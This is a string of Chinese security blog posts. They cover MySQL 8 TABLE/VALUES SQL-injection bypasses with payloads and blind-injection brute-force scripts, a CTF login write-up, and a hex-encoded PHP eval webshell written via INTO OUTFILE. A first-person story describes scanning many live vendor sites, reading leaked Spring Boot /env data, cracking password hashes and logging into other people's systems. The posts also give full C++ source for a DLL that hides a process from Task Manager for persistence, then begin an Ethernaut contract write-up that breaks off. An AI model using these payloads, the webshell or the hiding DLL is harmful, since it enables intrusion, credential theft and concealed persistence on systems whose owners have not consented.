information_schema.TABLESPACES_EXTENSIONS limit 6,7) 结果 TABLESOACE_NAME tmp/user这里用小于号进行比较 select (('u','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)) 返回值:0select (('s','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)) 返回值:1select (('t','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)) 返回值:1综上可以看出来如果是u的,其ascii 编码大于t 的,得到的是1。 但是如果是s的话小于得到1,但是如果是t的话是等于,但是这里的返回值则为1。 所以在进行注入中注意要把得到的数ascii值减1。 比较问题2 来看下面的两个例子 select (('tmp/use','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)) 返回值:1select (('tmp/user','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)) 返回值:NULLselect (('tmp/uses','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)) 返回值:0所以这里在判断最后一位是,要注意这里记得到取0之前的值。 整数比较问题 table user limit 0,1 返回值:1 hel看下面的例子 select (('0',2)<(table user limit 0,1)) 返回值:1select (('1',2)<(table user limit 0,1)) 返回值:0select (('2',2)<(table user limit 0,1)) 返回值:0select (('0aaaa',2)<(table user limit 0,1)) 返回值:1select (('1aaaa',2)<(table user limit 0,1)) 返回值:0在这里,由于id是整型,当我们输入的是字符型时,在进行比较过程中,字符型会被强制转换为整型,而不是像之前一样读到了第一位以后没有第二位就会停止,也就是都会强制转换为整型进行比较并且会一直持续下去,所以以后写脚本当跑到最后一位的时候尤其需要注意。 VALUES VALUES 类似于其他数据库的 ROW 语句,造数据时非常有用。 作用:列出一行的值 语法:VALUES row_constructor_list[ORDER BY column_designator][LIMIT BY number] row_constructor_list:   ROW(value_list)[, ROW(value_list)][, ...]value_list:   value[, value][, ...]column_designator:   column_index他的语法看起来很长,但用起来很简洁。 基本使用 VALUES ROW(1,2) VALUES ROW(1,2,3) VALUES ROW(1,2,3),ROW(5,6,7)配合union使用 VALUES ROW(1, 2) union select * from user select * from user union VALUES ROW(1, 2) information_schema.TABLESPACES_EXTENSIONS 我们可以通过这个表去查询所有数据库中的数据库和数据表 table information_schema.TABLESPACES_EXTENSIONS 等价于 select * from information_schema.TABLESPACES_EXTENSIONS 在这里我也列出几个和他相同功能的函数 information_schema.SCHEMA information_schema.TABLES information.COLUMNS mysql.innodb_table_stats mysql.innodb_index_stats sys.schema_tables_with_full_table_scans 实战演练 基础练习 index.php <?php // error_reporting(0); require_once('config.php'); highlight_file(__FILE__); $id = isset($_POST['id'])? $_POST['id'] : 1; if (preg_match("/(select|and|or| )/i",$id) == 1){    die("MySQL version: ".$conn->server_info); } $data = $conn->query("SELECT username from users where id = $id"); foreach ($data as $users){    var_dump($users['username']); } ?>config.php <?php // config.php $dbhost = 'ip';       // mysql服务器主机地址 $dbuser = 'root';           // mysql用户名 $dbpass = '123456';          // mysql用户名密码 $dbname = 'user';         // mysql数据库 $conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname); ?>数据库信息 输入id会返回数据库的值 这里过滤了几个字符,尝试绕过并报出数据库 id=0%09union%09values%09row(database())爆字段 如果字段数多了或者少了会报错 得到字段数 id=0%09||('1','')<(table%09users%09limit%091) //有回显 id=0%09||('2','')<(table%09users%09limit%091) //无回显然后去爆破值 select ('1','a')<(table users limit 1) //有回显 select ('1','r')<(table users limit 1) //有回显 id=0%09||('1','s')<(table%09users%09limit%091) //这里就可以得到第一个值,然后继续爆 id=0%09||('1','roos')<(table%09users%09limit%091) //有回显 id=0%09||('1','root')<(table%09users%09limit%091) //无回显到这里记得在最后一个值加上1,这样就可以得到数据库的值 脚本 import requests def ord2hex(string): result = "" for i in string:  r = hex(ord(i));  r = r.replace('0x','')  result = result+r return '0x'+result tables = 'roabcdefghijklmnpqstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' flag = "" for i in range(0,50): for j in range(110,122): data = { 'id':"0/**/||('1','%s')<(table/**/users/**/limit/**/1)"%(flag+chr(j)), } r = requests.post('http://127.0.0.1/index.php',data=data); print(data) if 'string(4)' in r.text: continue else: flag = flag +chr(j-1) print(flag) break if(len(flag)<i): break print(flag[:-1]+chr(ord(flag[-1:])+1)) 写文件 除了上面的方法还可以通过读写来getshell 查看是否有权限写入文件 id=0/**/union/**/values/**/row(user()) id=0/**/union/**/values/**/row(@@secure_file_priv)如果有,则可以通过下面的语句写入 id=0/**/union/**/values/**/row(load_file('/flag'))id=0/**/union/**/values/**/row(0x3c3f706870 406576616c28245f504f53545b315d293b3f3e) /**/into/**/outfile/**/'/var/www/html/shell.php' //<?php @eval($_POST[1]);?> 香山杯---login 这个题目没环境,这里就凭借自己的记忆力简单写一下解题过程。 描述 题目内容:只是一个简单的登录框,登录就有flag。 hint: mysql8新特性:values的利用 解题过程 进去就一个登陆框,直接抓包看看 发现这里对于不同的sql注入字符的弹窗是不同反应,如果被过滤了会弹出呵呵 简单爆破一下,发现select被过滤了,这里想到了mysql8.0.2版本的table绕过。 这里还可以用||来进行拼接。 测试,发现这样就可以进行注入。 username=123' || 1=1#&password=456&login=login脚本 import requests flag='' i=0 while True: small=32 big=127 i=i+1 while small<big: mid=small+big>>1 data={ 'username':f"1' || ascii(mid(database(),{i},1))>{mid}#", 'password':'1', } r=requests.post('http://xxx.com/',data=data) if '密码错误' in r.text: small=mid+1 else: big=mid if(i>4): break else: print(chr(small)) flag+=chr(small) print(flag)通过上面的脚本可以知道数据库的名称,然后通过table去爆破表。 import requests def ord2hex(string): result = "" for i in string:  r = hex(ord(i));  r = r.replace('0x','')  result = result+r return '0x'+result tables = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' flag = "" for i in range(0,50): for j in range(48,122):  data = {  # 'username':"a0'||(('1','admin','%s')<(table ctfusers limit 0,1))#"%(flag+chr(j)),  #'username':"a0'||(('ctf','%s',3,4,5,6,7,8)<=(table mysql.innodb_index_stats limit 2,1))#"%(flag+chr(j)),  # username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login   'password':'', }  r = requests.post('http://eci-2zefs2aa42oei8t7ms26.cloudeci1.ichunqiu.com',data=data);  if '用户名不存在' in r.text:   flag = flag +chr(j-1)   print(flag)   break上面脚本可以爆破出数据库的值,但是这里的密码是md5加密的,不能直接解密。 本题就用union去生成了一个新的values来进行绕过。 username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login登录进去就有flag了。 搭建环境问题 如果在搭建本地环境中出现了Call to a member function query() on boolean的问题的话,修改/etc/mysql/my.cnf文件。(注意一下,这里可能文件的路径会不一样,只要找my.cnf就可以) 就添加这两行 bind-address = 0.0.0.0 default_authentication_plugin=mysql_native_password完整的代码 # Copyright (c) 2017, Oracle and/or its affiliates. All rights reserved. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; version 2 of the License. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # The MySQL Server configuration file. # # For explanations see # http://dev.mysql.com/doc/mysql/en/server-system-variables.html [mysqld] pid-file       = /var/run/mysqld/mysqld.pid socket         = /var/run/mysqld/mysqld.sock datadir         = /var/lib/mysql secure-file-priv= NULL bind-address = 0.0.0.0 default_authentication_plugin=mysql_native_password # Custom config should go here 参考文章 https://www.actionsky.com/2777.htmlhttps://blog.csdn.net/HBohan/article/details/119757059
从一个信息泄露获取多本cnvd证书的过程
https://www.yijinglab.com/expc.do?ec=ECID07d9-3ccd-4c90-8a09-b980d8cd7858前言   个人在无事的时候喜欢逛cnvd官网,查看最近出的一些漏洞,以及去尝试挖掘,在此过程中让自己的能力提升,运气好的情况下说不定还能获取证书(小小的想法,嘿嘿)。 寻找目标?   又和往常一样,继续逛cnvd官网。 这里提示说一下,这边我主要选择一个是web应用漏洞列表,因为比较好挖,而且适合我这样的小白。 确定目标   在艰难的选择下,选中一名幸运厂商“xxxx”,下面直接说挖掘方法。注:在寻找厂家的时候一定要选择那些获得证书的漏洞厂家,这样只要能发现厂家的一些漏洞,那证书岂不是稳稳的嘛。具体获得证书的要求如下: 知道了获取方式的要求,就直接进入主题吧。 利用搜索工具或者引擎,搜索厂家的系统或者设备 搜索方式个人比较喜欢用fofa,fofa-yyds(要是有个高级会员就更好了) 如何去搜?简单的一种方式,就是直接将某设备或者某系统直接复制粘贴到fofa搜索框中,如下: 可能上面有点啰嗦了,但是了解怎么去搜索才是挖到漏洞和获取证书的前提。 第一本证书 下面说说个人挖掘到证书的流程。1、确定网站指纹,去目标网站官网,了解该系统或者设备使用什么语言什么框架所写。 如:我所发现这次的目标是使用了spring boot框架所写,所以直接确定是否存在信息泄露等漏洞。 发现是spring boot,下面直接进行工具扫描。注:一些网站并未显示出来,也可能显示出来但是漏洞被修复了,所以需要去多个网站查看,这个漏洞我是进行多个站点扫描才发现。 利用工具:xray、dirsearch等目录工具基本都可以,这里我直接用xray进行被动式扫描。 漏洞如下:http://xxx:port/env 因敏感信息比较多,所以就稍微截了点图。 发现第一个漏洞(信息泄露) 这个漏洞可以直接获取存在用户的密码(md5加密) 然而登录页面中发现登录密码,加密方式并不是md5加密,是其他加密。(当时有点迷)。在尝试了多个网站,发现有一些md5是可以被解出来的。通过解出来的密码可以成功登陆。 成功登陆 到这里第一本证书到手。前提是别人未提交,那必须稳稳拿下。 第二本证书 第二个漏洞-未授权访问 这个漏洞还是继续去分析上面的env页面,从中发现了这个漏洞(未授权访问)。 从中发现了一个目录/xxxmms/,当多次尝试一些网站的时候发现成功跳转了,所以第二个证书到手了----未授权访问。 未获得证书(撞洞了) 再回头去看env页面,发现还有其他的一些目录,还是一样操作,多个网站进行测试,发现了其他的一个系统。 这里的密码加密方式为md5,并且我发现其他用户system用户,这个才是管理员用户。 然后直接替换md5进行登录,在这里需要使用burp提换两次密码,才能成功登录。 首先通过信息泄露漏洞,获取system的MD5值: 通过提换md5进行登录(还有一次替换跳过) 成功登录 第三本证书 通过env页面泄露的目录,又发现其他系统 在页面中发现使用手册,发现默认密码为123456,但是未登录成功。相继去尝试了很多站点,发现都被修改了密码。然后就利用一开始解密出来的密码进行登录,发现有的可以登录成功,有的却不行。最终还是找到了远超过10+的案例。并去提交了漏洞,但未成功通过。驳回如下: 然后没办法继续去在后台进行测试,寻找未授权的页面,这样才能获取证书。最终通过burp和目录扫描工具发现一个soap接口信息泄露,并且未带有token值,所以应该存在未授权。访问其他未登录的站点: 到此结束这次的测试。提交如下: 先到手两本证书,还有一本还在制定中。 ### 这里其实没有多少技术含量,主要就是运气加细心,挖掘过程其实大部分都是差不多的,首先了解网站使用的指纹,然后使用的框架是不是有一些暴露出来的漏洞,过后就是批量去做,不要盯着一个站点去看,因为可能这个站点就没漏洞或者一些信息泄露的页面,通过多个站点进行测试,说不定就发现了新大陆了呢。所以多做试探就好,多结合一些工具进行测试。总会有的系统存在差异,只要抓到一个,像这种的厂家就可以进行批量打,还是比较舒服的。
巧用进程隐藏进行权限维持
基础知识 进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的基本单位,是https://baike.baidu.com/item/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F结构的基础。在早期面向进程设计的计算机结构中,进程是程序的基本执行实体;在当代面向线程设计的计算机结构中,进程是线程的容器。程序是指令、数据及其组织形式的描述,进程是程序的实体。https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182015092816503700001 我们在计算机上的每个程序运行起来之后都可以被称作进程,进程可以在任务管理器里面看见,如下所示 那么我们在进行渗透的过程中,如果我们运行了一些本没有运行的进程,我们想要达到不被对方发现的效果,其中一个方法就是实现进程隐藏,让对方在任务管理器里面看不到这个进程,当然这里只针对的是不被小白发现,专业的人员不在这个讨论范围内。 那么实现进程隐藏可以通过HOOK api的方式实现,我们知道一般我们要获取进程快照都是使用CreateToolHelp32Snapshot这个api,而这个api在内核层最终会调用ZwQuerySystemInformation这个api来获取系统进程信息,那么我们就可以直接去hook内核的这个api,因为最终还是调用内核的这个api,从而实现进程隐藏 实现过程 那么这里需要一些基础知识,hook api的实现最终还是要归结到Inline HOOK,通过修改api的前几个字节的数据,写入一个E9(jump)到我们自己的函数中执行 简单介绍一下Inline hook,API函数都保存在操作系统提供的DLL文件中,当在程序中使用某个API函数时,在运行程序后,程序会隐式地将API所在的DLL加载入进程中。这样,程序就会像调用自己的函数一样调用API。 在进程中当EXE模块调用CreateFile()函数的时候,会去调用kernel32.dll模块中的CreateFile()函数,因为真正的CreateFile()函数的实现在kernel32.dll模块中。 CreateFile()是API函数,API函数也是由人编写的代码再编译而成的,也有其对应的二进制代码。既然是代码,那么就可以被修改。通过一种“野蛮”的方法来直接修改API函数在内存中的映像,从而对API函数进行HOOK。使用的方法是,直接使用汇编指令的jmp指令将其代码执行流程改变,进而执行我们的代码,这样就使原来的函数的流程改变了。执行完我们的流程以后,可以选择性地执行原来的函数,也可以不继续执行原来的函数。 假设要对某进程的kernel32.dll的CreateFile()函数进行HOOK,首先需要在指定进程中的内存中找到CreateFile()函数的地址,然后修改CreateFile()函数的首地址的代码为jmp MyProc的指令。这样,当指定的进程调用CreateFile()函数时,就会首先跳转到我们的函数当中去执行流程,这样就完成了我们的HOOK了。 那么既然有了IAThook,我们为什么还要用Inlinehook呢,直接用IAThook不是更方便吗?看硬编码多麻烦。 我们思考一个问题,如果函数不是以LoadLibrary方式加载,那么肯定在导入表里就不会出现,那么IAThook就不能使用了,这就是Inlinehook诞生的条件。 硬编码 何为硬编码? 这里我就不生搬概念性的东西来解释了,说说我自己的理解。硬编码可以说就是用十六进制的字符组成的,他是给cpu读的语言,我们知道在计算机里面只有0和1,如果你要让他去读c语言的那些字符他是读不懂的,他只会读0和1,这就是硬编码。 硬编码的结构如下,有定长指令、变长指令等等一系列指令,还跟各种寄存器相关联起来,确实如果我们去读硬编码的话太痛苦了 这里就不过多延伸了,我们在Inline hook里面只会用到一个硬编码就是E9,对应的汇编代码就是jmp 这里我就直接通过Inline hook来实现进程隐藏,首先我们要明确思路,首先我们要获取到ZwQuerySystemInformation这个函数的地址,首先看一下这个函数的结构    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); 那么我们首先获取ntdll.dll的基址,这里可以使用GetModuleHandle,也可以使用LoadLibraryA HMODULE hDll = ::GetModuleHandle(L"ntdll.dll"); 然后使用GetProcAddress获取ZwQuerySystemInformation的函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); 获取到函数地址之后我们就需要进行hook操作,这里注意一下,在32位中跳转的语句应该为jmp New_ZwQuerySystemInformation,对应的硬编码就是E9 xx xx xx xx,那么在32位的情况下我们要执行跳转就需要修改5个字节的硬编码,而在64位中跳转的语句应该为mov rax, 0x1234567812345678、jmp rax,对应的硬编码就是48 b8 7856341278563412、ff e0,需要修改12个字节 在32位的情况下,修改5个字节 BYTE pData[5] = { 0xe9, 0, 0, 0, 0 }; 计算偏移地址,计算公式为新地址 - 旧地址 - 5 DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5; 因为我们要覆盖前5个字节那么我们首先把前5个字节放到其他地方保存 ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData)); 64位的情况下同理,只是修改字节为12个字节 BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };    ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;   ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));   ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData)); 然后修改权限为可读可写可执行权限,否则会报错0xC0000005 ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect); 修改硬编码,再还原属性 ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect); 到这里我们的hook函数就已经完成得差不多了,再写一个unhook函数,思路大体相同,代码如下 void UnHookAPI() {    //获取ntdll.dll基址    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");    if (hDll == NULL)   {        printf("[!] GetModuleHandle false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] GetModuleHandle successfully!\n\n");   }    // 获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");    if (NULL == ZwQuerySystemInformation)   {        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] ZwQuerySystemInformation successfully!\n\n");   }    // 修改为可读可写可执行权限    DWORD dwOldProtect = 0;   ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);    // 32位下还原5字节,64位下还原12字节 #ifdef _WIN64   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32)); #else   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32)); #endif    // 还原权限   ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect); 当我们执行完hook函数之后,需要跳转到我们自己的函数,在我们自己的函数里面,在我们自己的函数里面需要判断是否检索系统的进程信息,如果进程信息存在我们就需要将进程信息剔除 那么我们首先将钩子卸载掉,防止多次同时访问hook函数而造成数据混乱 UnHookAPI(); 然后加载ntdll.dll HMODULE hDll = ::LoadLibraryA("ntdll.dll"); 再获取ZwQuerySystemInformation的基址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); 这里看一下ZwQuerySystemInformation这个函数结构 NTSTATUS WINAPI ZwQuerySystemInformation(  _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,  _Inout_   PVOID                    SystemInformation,  _In_      ULONG                    SystemInformationLength,  _Out_opt_ PULONG                   ReturnLength ); 主要要关注的有两个参数,第一个参数是SystemInformationClass,他是用来表示要检索的系统信息的类型,再就是返回值,当函数执行成功则返回NTSTATUS,否则返回错误代码,那么我们首先要判断消息类型是否是进程信息 status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) && 5 == SystemInformationClass) 这里我们定义一个指针指向返回结果信息的缓冲区 pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; 判断如果是我们想要隐藏进程的PID则删除进程信息 if (HideProcessID == (DWORD)pCur->UniqueProcessId) 删除完成之后我们再还原hook HookAPI(); 我们要实现的功能不只是在自己的进程空间内隐藏指定进程,那么我们就可以把代码写成dll文件方便注入,完整代码如下 // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include <iostream> #include <Winternl.h> HMODULE g_hModule; BYTE g_Oldwin32[5] = { 0 }; BYTE g_Oldwin64[12] = { 0 }; #pragma data_seg("mydata") HHOOK g_hHook = NULL; #pragma data_seg() #pragma comment(linker, "/SECTION:mydata,RWS") NTSTATUS New_ZwQuerySystemInformation(    SYSTEM_INFORMATION_CLASS SystemInformationClass,    PVOID SystemInformation,    ULONG SystemInformationLength,    PULONG ReturnLength ); void HookAPI(); void UnHookAPI(); void HookAPI() {        //获取ntdll.dll基址    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");    if (hDll == NULL)   {        printf("[!] GetModuleHandle false,error is: %d\n\n", GetLastError());        return;   }    else   {        printf("[*] GetModuleHandle successfully!\n\n");   } #ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #else    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #endif    // 获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");    if (NULL == ZwQuerySystemInformation)   {        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] ZwQuerySystemInformation successfully!\n\n");   }    // 32位则修改前5字节,64位则修改前12字节 #ifdef _WIN64    // jmp New_ZwQuerySystemInformation    // E9 xx xx xx xx    BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };    // 计算偏移地址 , 偏移地址 = 新地址 - 旧地址 - 5    DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;   ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));   ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData)); #else    // mov rax, 0x1234567812345678    // jmp rax    // 48 b8 7856341278563412    // ff e0    BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };    ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;   ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));   ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData)); #endif    DWORD dwOldProtect = 0;    //修改为可读可写可执行权限   ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);   ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));    //还原权限   ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect); } void UnHookAPI() {    //获取ntdll.dll基址    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");    if (hDll == NULL)   {        printf("[!] GetModuleHandle false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] GetModuleHandle successfully!\n\n");   } #ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #else    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #endif    // 获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");    if (NULL == ZwQuerySystemInformation)   {        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] ZwQuerySystemInformation successfully!\n\n");   }    // 修改为可读可写可执行权限    DWORD dwOldProtect = 0;   ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);    // 32位下还原5字节,64位下还原12字节 #ifdef _WIN64   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32)); #else   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32)); #endif    // 还原权限   ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect); } NTSTATUS New_ZwQuerySystemInformation(    SYSTEM_INFORMATION_CLASS SystemInformationClass,    PVOID SystemInformation,    ULONG SystemInformationLength,    PULONG ReturnLength ) {    NTSTATUS status = 0;    PSYSTEM_PROCESS_INFORMATION pCur = NULL;    PSYSTEM_PROCESS_INFORMATION pPrev = NULL;    // 隐藏进程的PID    DWORD HideProcessID = 13972;    // 卸载钩子    UnHookAPI();    HMODULE hDll = ::LoadLibraryA("ntdll.dll");    if (hDll == NULL)   {        printf("[!] LoadLibraryA failed,error is : %d\n\n", GetLastError());        return status;   }    else   {        printf("[*] LoadLibraryA successfully!\n\n");   } #ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #else    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #endif    // 获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");    if (NULL == ZwQuerySystemInformation)   {        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());        return status;   }    else   {        printf("[*] ZwQuerySystemInformation successfully!\n\n");   }    // 调用原函数 ZwQuerySystemInformation    status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);    if (NT_SUCCESS(status) && 5 == SystemInformationClass)   {        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;        while (TRUE)       {            // 若为隐藏的进程PID则删除进程信息            if (HideProcessID == (DWORD)pCur->UniqueProcessId)           {                if (pCur->NextEntryOffset == 0)               {                    pPrev->NextEntryOffset = 0;               }                else               {                    pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset;               }           }            else           {                pPrev = pCur;           }            if (pCur->NextEntryOffset == 0)           {                break;           }            pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);       }   }    HookAPI();    return status; } BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ) {    switch (ul_reason_for_call)   {    case DLL_PROCESS_ATTACH:        HookAPI();        g_hModule = hModule;        break;    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        UnHookAPI();        break;   }    return TRUE; } 实现效果 这里可以通过全局钩子注入或者远程线程注入把dll注入到其他进程里面,那么如果我们想要在任务管理器里面看不到某个进程,那么就需要将dll注入到任务管理器里面 我这里选择隐藏的是QQ音乐,这里运行下程序将dll注入 再看下效果,在任务管理器里面已经看不到QQ音乐这个进程了,进程隐藏成功
以太坊智能合约安全入门
Ethernaut记录 https://www.yijinglab.com/cour.do?w=1&c=CCIDf21b-1a56-42df-b444-57029ae03abcFallback 题目描述 Look carefully at the contract's code below. You will beat this level if you claim ownership of the contract you reduce its balance to 0 Things that might help How to send ether when interacting with an ABI How to send ether outside of the ABI Converting to and from wei/ether units (see help() command) Fallback methods 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Fallback {  using SafeMath for uint256;  mapping(address => uint) public contributions;  address payable public owner;  constructor() public {    owner = msg.sender;    contributions[msg.sender] = 1000 * (1 ether); }  modifier onlyOwner {        require(            msg.sender == owner,            "caller is not the owner"       );        _;   }  function contribute() public payable {    require(msg.value < 0.001 ether);    contributions[msg.sender] += msg.value;    if(contributions[msg.sender] > contributions[owner]) {      owner = msg.sender;   } }  function getContribution() public view returns (uint) {    return contributions[msg.sender]; }  function withdraw() public onlyOwner {    owner.transfer(address(this).balance); }  receive() external payable {    require(msg.value > 0 && contributions[msg.sender] > 0);    owner = msg.sender; } } 分析 题目的目标是成为这个合约的owner,并且将合约的balance清零。 在源代码中可以看到,成为合约的owner就代表着需要将合约中的owner赋值为我们的address,有三种方式: 1.调用contribute函数 2.调用receive函数 这里需要说明一下,constructor函数是合约的构造函数,是合约在初始化的时候建立的,而sender这个全局变量代表的是当前和合约交互的用户。所以说,contructor函数的sender不可能是除了创建者之外后续用户。 如要调用contribute函数,则需要向合约转账,转入的eth大于1000才可以成为onwer,而且每次只能转小于0.001eth,显然不可行。 那么如果调用receive函数,只需要转账大于0即可成为owner。那么这个receive函数怎么调用呢? 这个函数明显长得就和正常的函数不一样,没有function修饰。 这里的话首先解释一下什么是fallback https://me.tryblockchain.org/blockchain-solidity-fallback.html也就是说,直接向合约转账,使用address.send(ether to send)向某个合约直接转帐时,由于这个行为没有发送任何数据,所以接收合约总是会调用fallback函数。或者当调用函数找不到时就会调用fallback函数。 那么这个fallback和receive又有什么关系呢?在0.6以后的版本,fallback函数的写法就不是这么写了而是: fallback() external { } receive() payable external {   currentBalance = currentBalance + msg.value; } fallback 和 receive 不是普通函数,而是新的函数类型,有特别的含义,所以在它们前面加 function 这个关键字。加上 function 之后,它们就变成了一般的函数,只能按一般函数来去调用。 每个合约最多有一个不带任何参数不带 function 关键字的 